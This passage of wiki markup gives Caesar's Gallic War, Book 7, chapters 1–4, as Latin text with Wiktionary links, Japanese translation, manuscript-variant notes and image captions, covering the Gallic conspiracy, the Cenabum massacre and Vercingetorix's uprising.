*neque in [[wikt:en:tantus#Latin|tantis]] [[wikt:en:dissensio#Latin|dissensionibus]] ad [[wikt:en:exercitus#Noun|exercitum]] venire posse. 
**これほどの対立においては、軍隊のもとへ来ることができない、&lt;br&gt;ということである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hac [[wikt:en:impulsus#Participle|impulsi]] [[wikt:en:occasio#Latin|occasione]], 
**このような好機に刺激されて、
*qui iam ante se [[wikt:en:populus#Noun|populi]] Romani [[wikt:en:imperium#Latin|imperio]] [[wikt:en:subiectus#Latin|subiectos]] [[wikt:en:dolerent|dolerent]], 
**すでに以前から自分たちがローマ国民の支配に服属させられているのを悲嘆している者たちは、
*[[wikt:en:libere#Adverb_2|liberius]] atque [[wikt:en:audacter#Latin|audacius]] de bello [[wikt:en:consilium#Latin|consilia]] [[wikt:en:inire|inire]] [[wikt:en:incipiunt|incipiunt]]. 
**より自由に、かつ、より向こう見ずに、戦争について謀議に取りかかり始める。
:　
[[画像:Brennus_mg_9724.jpg|thumb|right|250px|[[w:ブレンヌス|ブレンヌス]]の胸像。BC4世紀（[[w:紀元前387年|387年]]）に、ローマ軍を破って、ローマ市を占領した。アッコーと同じセノネース族の族長だったとされている。]]
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indictus#Latin|Indictis]] inter se principes Galliae [[wikt:en:concilium#Latin|conciliis]] [[wikt:en:silvestris#Latin|silvestribus]] ac [[wikt:en:remotus#Latin|remotis]] locis 
**ガッリアの領袖たちは、森林や人里離れた場所での会合を互いに申し合わせて、
*[[wikt:en:queruntur|queruntur]] de [[wikt:en:Acco#Latin|Acconis]] [[wikt:en:mors#Latin|morte]]; 
**アッコーの死について嘆く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[ガリア戦記 第6巻#44節|第6巻44節]]を参照。）&lt;/span&gt;
*&lt;u&gt;posse&lt;/u&gt; hunc [[wikt:en:casus#Latin|casum]] ad ipsos [[wikt:en:recidere#Verb_4|recidere]] [[wikt:en:demonstrant#Latin|demonstrant]]; 
**彼&lt;small&gt;〔アッコー〕&lt;/small&gt;の結末が彼ら自身へ降りかかりうることを説く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:posse#Verb|posse]] の位置は、&lt;br&gt;　　　　&amp;alpha;系写本では hunc の前だが、&lt;br&gt;　　　　&amp;beta;系写本では hunc casum ad ipsos  recidere &lt;u&gt;posse&lt;/u&gt; demonstrant &lt;br&gt;　　　　となっている。）&lt;/span&gt;
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt;  [[wikt:en:miserantur|miserantur]] [[wikt:en:communis#Latin|communem]] Galliae [[wikt:en:fortuna#Latin|fortunam]]; 
**ガッリア共通の境遇をあわれむ。
*omnibus [[wikt:en:pollicitatio#Latin|pollicitationibus]] ac [[wikt:en:praemium#Latin|praemiis]] [[wikt:en:deposcunt|deposcunt]] 
**&lt;small&gt;（以下の者たちを）&lt;/small&gt;あらゆる約束と恩賞によって求める。
*qui [[wikt:en:bellum#Latin|belli]] &lt;u&gt;initia&lt;/u&gt; [[wikt:en:faciant|faciant]] et sui [[wikt:en:caput#Latin|capitis]] [[wikt:en:periculum#Latin|periculo]] Galliam in [[wikt:en:libertas#Latin|libertatem]] [[wikt:en:vindicent|vindicent]]. 
**戦端を開いて、自らを危険にさらしても、ガッリアを解放する者たちを。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ in libertatem vindicare；～を解放する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:initia#Latin|initia]] (複数形) だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:initium#Latin|initium]] (単数形) となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; In primis [[wikt:en:ratio#Latin|rationem]] esse [[wikt:en:habendus#Latin|habendam]] [[wikt:en:dicunt|dicunt]], 
**とりわけ、&lt;small&gt;（以下のような）&lt;/small&gt;方策を採るべきであると述べる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_primis#Latin|in primis]] は、[[wikt:en:inprimis#Adverb|
inprimis]] と表記している校訂版もある。）&lt;/span&gt;
*[[wikt:en:priusquam#Latin|prius quam]] eorum [[wikt:en:clandestinus#Latin|clandestina]] consilia [[wikt:en:efferantur|efferantur]], 
**彼らの秘密の計画が漏らされるより前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：反ローマの挙兵のはかりごとが漏れる前に）&lt;/span&gt;
*ut Caesar ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:intercludatur|intercludatur]]. 
**カエサルが軍隊から切り離されるように、と。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Id esse [[wikt:en:facilis#Latin|facile]], 
**それは容易なことである。
*quod neque legiones [[wikt:en:audeant|audeant]] [[wikt:en:absens#Latin|absente]] [[wikt:en:imperator#Latin|imperatore]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:egredi|egredi]], 
**というのは、[[w:ローマ軍団|諸軍団]]は将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のときにあえて冬営から出て行こうとはしないし、
*neque [[wikt:en:imperator#Latin|imperator]] sine [[wikt:en:praesidium#Latin|praesidio]] ad legiones [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:possit|possit]]. 
**将軍は護衛なしに諸軍団のところへ到着することはできないのだから。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:postremo#Adverb|Postremo]] in [[wikt:en:acies#Latin|acie]] &lt;u&gt;praestare&lt;/u&gt; [[wikt:en:interfici|interfici]], 
**結局のところ、戦列において討ち死にする方がましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:vetus#Latin|veterem]] belli [[wikt:en:gloria#Latin|gloriam]] [[wikt:en:libertas#Latin|libertatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; quam a [[wikt:en:maior#Noun|maioribus]] [[wikt:en:acceperint|acceperint]], [[wikt:en:recuperare#Latin|recuperare]].
**先祖から受け継いだかつての戦争の栄誉および自由を取り戻さないことよりは。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===2節===
[[画像:Chartres_1.jpg|thumb|right|320px|カルヌーテース族（[[w:la:Carnutes|Carnutes]]）の名を残す現在の[[w:シャルトル|シャルトル]]（[[w:en:Chartres|Chartres]]）の象徴である[[w:シャルトル大聖堂|シャルトル大聖堂]]（[[w:世界遺産|世界遺産]]）。[[ガリア戦記 第6巻#13節|第6巻13節]]⑩項で既述のように、カルヌーテース族の土地はガッリアの中心・聖地と見なされていた。ガッリアがキリスト教化されると、[[w:司教|司教座]]が置かれて、宗教的中心地となった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/2節]]　{{進捗|00%|2025-11-05}}&lt;/span&gt;
;ガッリア諸部族の会合で、カルヌーテース族が開戦動議
:　　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:agitatus#Latin|agitatis]], 
**これらの事柄が論議されて、
*[[wikt:en:profiteor#Latin|profitentur]] [[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族の者が公言したことには、
*se [[wikt:en:nullus#Determiner|nullum]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:recusare#Latin|recusare]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全のためにはいかなる危険をも辞さない、
*[[wikt:en:princeps#Latin|principes]]&lt;nowiki&gt;que&lt;/nowiki&gt; ex omnibus bellum [[wikt:en:facturus#Latin|facturos]] [[wikt:en:pollicentur|pollicentur]]; 
**かつ&lt;small&gt;（ガッリア方）&lt;/small&gt;総勢の先鋒として戦争を遂行するであろうと約束する。
:　　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, [[wikt:en:quoniam#Latin|quoniam]] in [[wikt:en:praesentia#Noun|praesentia]] [[wikt:en:obses#Latin|obsidibus]] [[wikt:en:cavere#Verb_2|cavere]] inter se non [[wikt:en:possint|possint]], 
**目下のところ、人質により互いに保証し合うことはできなかったので、
*ne res [[wikt:en:efferatur|efferatur]], 
**事が漏らされないように、
*&lt;u&gt;ut&lt;/u&gt; [[wikt:en:ius_iurandum#Latin|iure iurando]] ac [[wikt:en:fides#Latin|fide]] [[wikt:en:sanciatur|sanciatur]], [[wikt:en:petunt|petunt]], 
**誓約と信義でもって批准するように求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本ST&lt;sup&gt;c&lt;/sup&gt; では ut だが、&lt;br&gt;　　　　　　　　　写本 T&lt;sup&gt;1&lt;/sup&gt;･&amp;rho;系では at 、&lt;br&gt;　　　　　　　　　写本BMLNV･&amp;chi;系では aut となっている。）&lt;/span&gt;
*[[wikt:en:conlatus#Latin|conlatis]] [[wikt:en:militaris#Adjective|militaribus]] [[wikt:en:signum#Latin|signis]], 
**軍旗が運び集められて、
*[[wikt:en:quo#Etymology_2_2|quo]] [[wikt:en:mos#Latin|more]] eorum [[wikt:en:gravissimus#Latin|gravissima]] [[wikt:en:caerimonia#Latin|caerimonia]] [[wikt:en:continetur|continetur]], 
**それは彼らの慣習で最も荘重な&lt;ruby&gt;&lt;rb&gt;神聖儀式&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;カエリモーニア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として保たれているのだが、
*ne [[wikt:en:factus#Latin|facto]] [[wikt:en:initium#Latin|initio]] belli ab reliquis [[wikt:en:deserantur|deserantur]]. 
**開戦したら、ほかの&lt;small&gt;（部族の）&lt;/small&gt;者たちから見放されないように、ということである。
:　&lt;!--　[[wikt:en:|　--&gt;　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Tum [[wikt:en:conlaudatus#Latin|conlaudatis]] [[wikt:en:Carnutes#Latin|Carnutibus]], 
**それから、カルヌーテース族が賞賛されて、
*[[wikt:en:datus#Participle|dato]] [[wikt:en:ius_iurandum#Latin|iure iurando]] ab omnibus, qui [[wikt:en:aderant|aderant]], 
**訪れていたすべての者たちによって誓約が交わされて、
*[[wikt:en:tempus#Latin|tempore]] eius rei [[wikt:en:constitutus#Participle|constituto]] 
**その事の時期を決定すると、
*ab [[wikt:en:concilium#Latin|concilio]] [[wikt:en:disceditur|disceditur]].
**&lt;small&gt;（ガッリアの領袖たちは）&lt;/small&gt;会合から立ち去る。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===3節===
[[画像:Cathédrale_Sainte-Croix_d'Orléans_2008_PD_16.JPG|thumb|right|280px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]の聖十字架大聖堂。ここもカルヌーテース族の[[w:オッピドゥム|城塞都市]]で、ガッリアの[[w:ドルイド|ドルイド]]たちが集まる聖地だったという。ローマの[[w:ルキウス・ドミティウス・アウレリアヌス|アウレリアヌス帝]]（Aurelianus）によって再建されたのでアウレリアヌスの都市（アウレリアヌム [[w:la:Aurelianum|Aurelianum]]）と改称され、オルレアン（Orléans）と転訛した。キリスト教化によってここにも[[w:司教|司教座]]が置かれて、布教の中心地になった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/3節]]　{{進捗|00%|2025-11-17}}&lt;/span&gt;
;カルヌーテース族がケナブム進駐
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] ea dies venit, 
**その日が来ると、
*[[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族は、
*Cotuato et Conconnetodumno [[wikt:en:dux#Latin|ducibus]], [[wikt:en:desperatus#Latin|desperatis]] hominibus, 
**捨て身覚悟の連中であるコトゥアトゥスとコンコンネトドゥムヌスを指導者として、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語では、&lt;br&gt;　　　　　コトゥアトス ''[[w:fr:Cotuatos|Cotuatos]]''、&lt;br&gt;　　　　　コンコンネトドゥムノス ''[[w:fr:Conconnetodumnos|Conconnetodumnos]]''。）&lt;/span&gt;
*&lt;u&gt;Cenabum&lt;/u&gt; [[wikt:en:signum#Latin|signo]] [[wikt:en:datus#Participle|dato]] [[wikt:en:concurrunt|concurrunt]] 
**号令が発せられるとともに&lt;u&gt;ケナブム&lt;/u&gt;に襲来する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブムは、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:fr:Cenabum|Cenabum]] はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　写本では genabim, genebim, genebin などとなっている。&lt;br&gt;　　　　　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;

*[[wikt:en:civis#Latin|cives]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Romanus#Adjective|Romanos]], qui [[wikt:en:negotiandi|negotiandi]] causa [[wikt:en:ibi#Latin|ibi]] [[wikt:en:constiterant|constiterant]], 
**そこには、商いを営むためにローマ市民たちが滞在していて、
*in his [[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Fufius#Latin|Fufium]] Citam, [[wikt:en:honestus#Latin|honestum]] [[wikt:en:eques#Latin|equitem]] [[wikt:en:Romanus#Adjective|Romanum]], 
**彼らの中には、気高いローマ人[[w:エクィテス|騎士]]ガーイウス・フーフィウス・キタがいて
*qui rei [[wikt:en:frumentarius#Latin|frumentariae]] [[wikt:en:iussus#Noun|iussu]] Caesaris [[wikt:en:praeerat|praeerat]], 
**カエサルの指図により糧秣調達を統率していたが、
*[[wikt:en:interficiunt|interficiunt]] [[wikt:en:bonum#Noun_2|bona]]&lt;nowiki&gt;que&lt;/nowiki&gt; eorum [[wikt:en:diripiunt|diripiunt]]. 
**&lt;small&gt;（カルヌーテース勢は彼らローマ市民たちを）&lt;/small&gt;殺害して、彼らの財産を略奪する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Celeriter ad omnes Galliae [[wikt:en:civitas#Latin|civitates]] [[wikt:en:fama#Latin|fama]] [[wikt:en:perfertur|perfertur]]. 
**速やかに全ガッリア部族のもとへ、評判が報知される。
*Nam, &lt;u&gt;ubique&lt;/u&gt; [[wikt:en:maior#Latin|maior]] atque [[wikt:en:inlustrior|inlustrior]] [[wikt:en:incidit#Etymology_1|incidit]] res, 
**なぜなら、より重大でより目立った事態が起こればどこであろうが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; の大半では [[wikt:en:ubique#Latin|ubique]] だが、写本STでは [[wikt:en:ubi#Latin|ubi]] 、&lt;br&gt;　　　　　　　　　さらに [[wikt:en:ubicumque#Latin|ubicumque]] という異読もあり、&lt;br&gt;　　　　　　　　　&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Schneider,K.E.Chr.|Chr. Schneider]]'' は ubi quae と修正提案している。）&lt;/span&gt;
*[[wikt:en:clamor#Latin|clamore]] per [[wikt:en:ager#Latin|agros]] [[wikt:en:regio#Latin|regiones]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:significant#Latin|significant]]; 
**耕地や&lt;small&gt;（集落の）&lt;/small&gt;区域を介して、大声で呼びかける。
*&lt;u&gt;hinc&lt;/u&gt; [[wikt:en:alius#Latin|alii]] [[wikt:en:deinceps#Latin|deinceps]] [[wikt:en:excipiunt|excipiunt]] 
**ここから、別の者たちが続けて引き受けて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の大半では [[wikt:en:hanc#Latin|hanc]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:hinc#Latin|hinc]] 「ここから」、&lt;br&gt;　　　　　　　　　写本Sでは [[wikt:en:hunc|hunc]] となっている。）&lt;/span&gt;
*et [[wikt:en:proximus#Noun|proximis]] [[wikt:en:tradunt|tradunt]]; 
**近隣の者たちへ伝える。
*ut tum [[wikt:en:accidit#Etymology_1|accidit]]. 
**そのときにも&lt;small&gt;（同様のことが）&lt;/small&gt;起こったのである。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, quae &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:oriens#Latin|oriente]] [[wikt:en:sol#Latin|sole]] gesta essent, 
**ケナブムで日が昇るときになされていたこと&lt;small&gt;〔襲撃〕&lt;/small&gt;が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：Cenabi はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　主要写本&amp;omega; では genabi となっている。　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:gestus#Latin|gesta]] [[wikt:en:essent#Etymology_1|essent]] は [[wikt:en:gero#Latin|gerō]] の3人称･複数･過去完了･受動･接続法。）&lt;/span&gt;
*ante [[wikt:en:primus#Latin|primam]] [[wikt:en:confectus#Latin|confectam]] [[wikt:en:vigilia#Latin|vigiliam]] 
**第一夜警時の終わる前頃には
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第一夜警時は、日の入から真夜中までの時間帯の前半「宵の口」。&lt;br&gt;　　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*in finibus [[wikt:en:Arverni#Latin|Arvernorum]] audita sunt, 
**アルウェルニー族の領土において聞かれた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:auditus#Latin|audita]] [[wikt:en:sunt#Latin|sunt]] は [[wikt:en:audio#Latin|audiō]] の3人称･複数･完了･受動･直説法）&lt;/span&gt;
*[[wikt:en:qui#Latin|quod]] [[wikt:en:spatium#Latin|spatium]] est [[wikt:en:mille#Latin|milium]] [[wikt:en:passus#Etymology_2|passuum]] circiter [[wikt:en:centum#Latin|centum]] [[wikt:en:sexaginta#Latin|sexaginta]](CLX).
**約160ローママイルもの隔たりがあったのに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、160マイルは約240 km）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
==ウェルキンゲトリークスとガッリア同盟軍の蜂起==
===4節===
[[画像:Vercingetorix stater CdM.jpg|thumb|right|200px|“&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;(VERCIN)GETORIXS&lt;/span&gt;”の名と横顔が刻まれた金貨。]]
[[画像:Vercingétorix_par_Millet.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（フランスのアリーズ＝サント＝レーヌ &lt;small&gt;[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]&lt;/small&gt;）。&lt;br&gt;近代[[w:ナショナリズム|ナショナリズム]]の高揚とともに[[w:フランス|フランス]]国民が自らを古代[[w:ガリア人|ガッリア人]]の末裔と見なすようになると（[[w:ガリア起源説|ガッリア起源説]]）、ガッリア諸部族を率いて[[w:古代ローマ|古代ローマ]]と戦った彼は「'''フランス最初の英雄'''」として祀り上げられた。[[w:フランス第二帝政|第二帝政]]期に皇帝[[w:ナポレオン3世|ナポレオン3世]]の命により[[w:アレシアの戦い|アレスィア古戦場]]の発掘調査が実施され、[[w:1865年|1865年]]にはその地に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）による高さ7メートルの銅像が建立された。&lt;br&gt;（[[w:fr:Vercingétorix_(statue_d'Aimé_Millet)|fr:La statue de Vercingétorix]]）]]
[[画像:Statue-vercingetorix-jaude-clermont.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の騎馬像([[w:fr:Statue équestre de Vercingétorix (Frédéric Auguste Bartholdi)|fr]])。彼の出身地ゲルゴウィアの近く、[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]中央広場に建つ。[[w:1903年|1903年]]に、[[w:自由の女神像 (ニューヨーク)|自由の女神像]]の作者として著名な彫刻家[[w:フレデリク・バルトルディ|フレデリク・オーギュスト・バルトルディ]]によって建立された。[[w:フランス語|フランス語]]で「我は皆の自由のために武器を取った」« J’ai pris les armes pour la liberté de tous » と刻まれている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/4節]]　{{進捗|00%|2025-11-24}}&lt;/span&gt;
;アルウェルニー族のウェルキンゲトリークスが挙兵、ガッリア諸部族同盟軍を指揮する
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:similis#Latin|Simili]] [[wikt:en:ratio#Latin|ratione]] ibi 
**そこ&lt;small&gt;〔アルウェルニー族領〕&lt;/small&gt;でも同様のやり方によって、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]という、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語 [[wikt:en:Reconstruction:Gaulish/Werkingetorix|*Werkingetorīx]] は「戦士たちの最高の王」という意味で、&lt;br&gt;　　　　　ガッリア同盟軍の最高司令官にふさわしい呼び名である。&lt;br&gt;　　　　　《[[ガリア戦記/ガリア語の名前#Vercingetorix|'''ガリア語の名前'''#Vercingetorix]]》 を参照せよ。）&lt;/span&gt;
*[[wikt:fr:Celtillus|Celtilli]] filius, [[wikt:en:Arvernus#Latin|Arvernus]], 
**ケルティッルスの息子で[[w:アルウェルニ族|アルウェルニー族]]の者で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:en:Celtillus|Celtillus]]'' はガリア語で「小さなケルト人」という意味だと解される。）&lt;/span&gt;
*[[wikt:en:summus#Adjective|summae]] [[wikt:en:potentia#Latin|potentiae]] [[wikt:en:adulescens#Noun|adulescens]], 
**最高の影響力のある青年が、
*cuius [[wikt:en:pater#Latin|pater]] [[wikt:en:principatus#Latin|principatum]] Galliae [[wikt:en:totus#Etymology_1|totius]] [[wikt:en:obtinuerat|obtinuerat]] 
**──その父&lt;small&gt;〔ケルティッルス〕&lt;/small&gt;はガッリア全体の主導権を占めていたが、
*et ob eam causam, quod [[wikt:en:regnum#Latin|regnum]] [[wikt:en:adpetebat|adpetebat]], ab [[wikt:en:civitas#Latin|civitate]] erat [[wikt:en:interfectus#Latin|interfectus]], 
**王位を求めたという理由により、部族の者によって誅殺されていたのであるが、──
*[[wikt:en:convocatus#Latin|convocatis]] suis [[wikt:en:cliens#Latin|clientibus]] 
**自らの庇護者たちを招集して、
*facile [[wikt:en:incendit|incendit]]. 
**容易に焚き付けた。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:cognitus#Participle|Cognito]] eius [[wikt:en:consilium#Latin|consilio]] 
**彼の計画を知ると、
*ad [[wikt:en:arma#Latin|arma]] [[wikt:en:concurritur|concurritur]]. 
**&lt;small&gt;（人々は）&lt;/small&gt;武器のもとへ群がり集まった。
*[[wikt:en:prohibetur|Prohibetur]] ab [[wikt:fr:Gobannitio|Gobannitione]], [[wikt:en:patruus#Latin|patruo]] suo, [[wikt:en:reliquus#Latin|reliquis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:princeps#Noun_3|principibus]], 
**彼の&lt;small&gt;（父方の）&lt;/small&gt;おじゴバンニティオやほかの領袖たちにより妨げられた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Gobannitio|Gobannitio]]'' は「鍛冶屋」か「鍛冶の神」に由来する名前と解される。）&lt;/span&gt;
*qui hanc [[wikt:en:temptandus#Latin|temptandam]] [[wikt:en:fortuna#Latin|fortunam]] non [[wikt:en:existimabant|existimabant]]; 
**その者たちは、このような運命を試すべきとは考えていなかったのだ。
*[[wikt:en:expellitur|expellitur]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:Gergovia#Latin|Gergovia]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;城塞都市ゲルゴウィアから追放される。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; non [[wikt:en:destitit|destitit]] tamen 
**しかしながら&lt;small&gt;（彼は計画を）&lt;/small&gt;取り止めず、
*atque in agris habet [[wikt:en:dilectus#Noun|dilectum]] [[wikt:en:egens#Latin|egentium]] ac [[wikt:en:perditor#Noun|perditorum]]. 
**野に貧窮者たちやならず者たちを徴集する。
:　
*Hac [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**こうした手勢が集められ、
*[[wikt:en:quoscumque|quoscumque]] [[wikt:en:adit#Latin|adit]] ex civitate, 
**部族のうちで&lt;small&gt;（彼が）&lt;/small&gt;会った者は誰であれ、
*ad suam [[wikt:en:sententia#Latin|sententiam]] [[wikt:en:perducit|perducit]]; 
**自らの意図に引き込んだ。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:hortatur|hortatur]] ut [[wikt:en:communis#Latin|communis]] [[wikt:en:libertas#Latin|libertatis]] causa [[wikt:en:arma#Latin|arma]] [[wikt:en:capiant|capiant]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の自由のために武器を取るように鼓舞した。
*[[wikt:en:magnus#Latin|magnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:coactus#Latin|coactis]] [[wikt:en:copia#Latin|copiis]] 
**大軍勢が集められて、
*[[wikt:en:adversarius#Latin|adversarios]] suos, a quibus paulo ante erat [[wikt:en:eiectus#Latin|eiectus]], 
**少し前に&lt;small&gt;（彼をゲルゴウィアから）&lt;/small&gt;放逐したところの敵対者たちを、
*[[wikt:en:expellit|expellit]] ex civitate. 
**部族から追放する。
*[[wikt:en:rex#Latin|Rex]] ab suis [[wikt:en:appellatur|appellatur]]. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;配下の者たちから王と呼ばれている。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:dimittit|Dimittit]] [[wikt:en:quoque#Latin|quoque]] [[wikt:en:versus#Adverb|versus]] [[wikt:en:legatio#Latin|legationes]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;あらゆる方向へ使節団を派遣して、
*[[wikt:en:obtestatur|obtestatur]] ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]]. 
**誓約に留まるようにと、懇願する。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter sibi 
**速やかに、自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;に対して
*[[wikt:en:Senones#Latin|Senones]], [[wikt:en:Parisii#Latin|Parisios]], [[wikt:en:Pictones#Latin|Pictones]], [[wikt:en:Cadurci#Latin|Cadurcos]], &lt;u&gt;Turonos&lt;/u&gt;, [[wikt:en:Aulerci#Latin|Aulercos]], [[wikt:en:Lemovices#Latin|Lemovices]], &lt;u&gt;Andes&lt;/u&gt; 
**セノネース族、パリースィイー族、ピクトネース族、カドゥルキー族、&lt;br&gt;&lt;u&gt;トゥロニイー族&lt;/u&gt;、アウレルキー族、レモウィーケース族、アンデース族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部のトゥロニイー族 ''[[w:Turoni|Turoni]]'' は、トゥロネース族 ''[[wikt:en:Turones#Latin|Turonēs]]'' ともいう。）&lt;/span&gt;
